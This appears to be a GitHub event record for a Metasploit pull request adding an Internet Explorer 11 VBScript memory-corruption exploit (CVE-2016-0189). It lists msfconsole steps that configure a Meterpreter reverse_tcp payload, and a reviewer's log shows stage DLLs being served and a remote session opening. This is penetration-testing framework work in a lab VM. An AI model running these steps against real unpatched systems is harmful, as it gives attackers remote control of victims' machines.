{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7172","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7172/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7172/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7172/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/7172","id":168714752,"number":7172,"title":"Internet Explorer 11 VBScript memory corruption exploit","user":{"login":"wwebb-r7","id":16786368,"avatar_url":"https://avatars.githubusercontent.com/u/16786368?v=3","gravatar_id":"","url":"https://api.github.com/users/wwebb-r7","html_url":"https://github.com/wwebb-r7","followers_url":"https://api.github.com/users/wwebb-r7/followers","following_url":"https://api.github.com/users/wwebb-r7/following{/other_user}","gists_url":"https://api.github.com/users/wwebb-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wwebb-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wwebb-r7/subscriptions","organizations_url":"https://api.github.com/users/wwebb-r7/orgs","repos_url":"https://api.github.com/users/wwebb-r7/repos","events_url":"https://api.github.com/users/wwebb-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wwebb-r7/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"open","locked":false,"assignee":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"assignees":[{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false}],"milestone":null,"comments":1,"created_at":"2016-08-01T18:49:37Z","updated_at":"2016-08-03T18:52:20Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7172","html_url":"https://github.com/rapid7/metasploit-framework/pull/7172","diff_url":"https://github.com/rapid7/metasploit-framework/pull/7172.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/7172.patch"},"body":"This adds an exploit for CVE-2016-0189, a memory corruption vulnerability in Internet Explorer on Windows 10.\r\n\r\nTesting notes:\r\n- Get a non updated version of Windows 10 Enterprise such as en_windows_10_enterprise_n_x64_dvd_6852541.iso from MSDN.  I prefer  Enterprise as you can disable automatic updates via group policies.\r\n- ***Take a snapshot*** just in case you don't disable automatic updates correctly :p\r\n- It's not 100% reliable.  I'd guess about 90% or higher.  If the exploit fails, make sure to terminate any running Internet Explorer instances and then delete everything in C:\\Users\\yourusername\\AppData\\Local\\Temp\\Low\\, then try again\r\n\r\n## Verification\r\n\r\n- [x] Get a Windows 10 VM.  Do not update it.\r\n- [x] Start `msfconsole`\r\n- [x] `use exploit/windows/browser/ms16_051_vbscript`\r\n- [x] `set srvhost your-ip`\r\n- [x] `set srvport whatever`\r\n- [x] `set uripath whatever_youd_like`\r\n- [x] `set payload windows/x64/meterpreter/reverse_tcp`\r\n- [x] `set lhost your-ip`\r\n- [x] `set lport whatever`\r\n- [x] `run`\r\n- [x] Browse to http://your-ip:srvport/uripath through IE 11 on your Windows 10 VM\r\n- [x] ***Verify that you get a session going*** If you don't, follow the testing notes above and try again\r\n\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/237334727","html_url":"https://github.com/rapid7/metasploit-framework/pull/7172#issuecomment-237334727","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7172","id":237334727,"user":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"created_at":"2016-08-03T18:52:20Z","updated_at":"2016-08-03T18:52:20Z","body":"Yup, not 100% but works for me:\r\n\r\n```\r\nmsf exploit(ms16_051_vbscript) > [*] Using URL: http://192.168.146.1:8080/lEgSGQe2bnEV\r\n[*] Server started.\r\n[*] Received request: /lEgSGQe2bnEV\r\n[*] Sending main page ..\r\n[*] Received request: /lEgSGQe2bnEV\r\n[*] Sending main page ..\r\n[*] Received request: /lEgSGQe2bnEV/efoc2W.dll\r\n[*] Sending stage two DLL ...\r\n[*] Received request: /lEgSGQe2bnEV/iICXX7.dll\r\n[*] Sending local server DLL ...\r\n[*] Received request: /lEgSGQe2bnEV/UQY7t7.html\r\n[*] Received request: /lEgSGQe2bnEV/p8lDkbmy\r\n[*] Sending payload ...\r\n[*] Sending stage (1189423 bytes) to 192.168.146.172\r\n[*] Meterpreter session 2 opened (192.168.146.1:4444 -> 192.168.146.172:49773) at 2016-08-03 13:51:52 -0500\r\n```"}}
{"actor":{"display_login":"wchen-r7"}}